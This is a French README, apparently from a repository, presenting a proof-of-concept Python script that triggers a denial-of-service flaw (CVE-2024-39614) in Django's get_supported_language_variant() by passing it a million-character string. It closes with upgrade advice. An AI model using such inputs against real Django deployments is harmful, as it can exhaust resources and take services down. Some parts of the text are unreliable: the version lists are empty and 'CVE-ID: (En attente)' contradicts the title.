
Preuve de concept d'exploit pour CVE-2024-39614, une vulnérabilité de déni de service dans la fonction get_supported_language_variant() de Django affectant les versions 5.0<5.0.7 et 4.2<4.2.14.
Ce dépôt contient un script de preuve de concept (PoC) démontrant une vulnérabilité de déni de service (DoS) dans les versions de Django 5.0 antérieures à 5.0.7 et 4.2 antérieures à 4.2.14. La vulnérabilité réside dans la fonction get_supported_language_variant(), qui est sensible à une attaque DoS potentielle lorsqu'elle traite de très longues chaînes contenant des caractères spécifiques.
CVE-ID: (En attente)
Aperçu :
La fonction get_supported_language_variant() dans les versions de Django 5.0 antérieures à 5.0.7 et 4.2 antérieures à 4.2.14 est vulnérable à une attaque par déni de service. Cette fonction peut être exploitée en envoyant de très longues chaînes contenant des caractères spécifiques, ce qui pourrait entraîner un épuisement des ressources et, par conséquent, une condition de déni de service.
Versions concernées :
Versions corrigées :
pip install django)Ce script montre comment un attaquant peut exploiter la vulnérabilité en envoyant une très longue chaîne à la fonction get_supported_language_variant().
Enregistrez le script suivant sous le nom dos_poc.py et exécutez-le.
import django
from django.utils.translation import get_supported_language_variant
# Check Django version
if django.VERSION < (4, 2, 14) or (5, 0) <= django.VERSION < (5, 0, 7):
print("[-] This Django version is vulnerable to the DoS attack.")
else:
print("[+] This Django version is not vulnerable. Please use a vulnerable version for testing.")
# Generate a very long string containing specific characters
very_long_string = 'a' * 1000000 + '!' # Adjust the length and content as necessary
def test_dos_vulnerability():
try:
# Trigger the vulnerability
get_supported_language_variant(very_long_string)
print("[+] Successfully called get_supported_language_variant with a very long string.")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
test_dos_vulnerability()
test_dos_vulnerability() appelle get_supported_language_variant() avec la très longue chaîne pour tester la vulnérabilité.Pour atténuer cette vulnérabilité, mettez à niveau vers les versions corrigées de Django :
Suivez les instructions officielles de mise à niveau de Django pour mettre à jour votre installation de Django vers la version sécurisée la plus récente.
En maintenant vos logiciels à jour et en suivant les bonnes pratiques de sécurité, vous pouvez prévenir des vulnérabilités telles que ce problème DoS dans Django.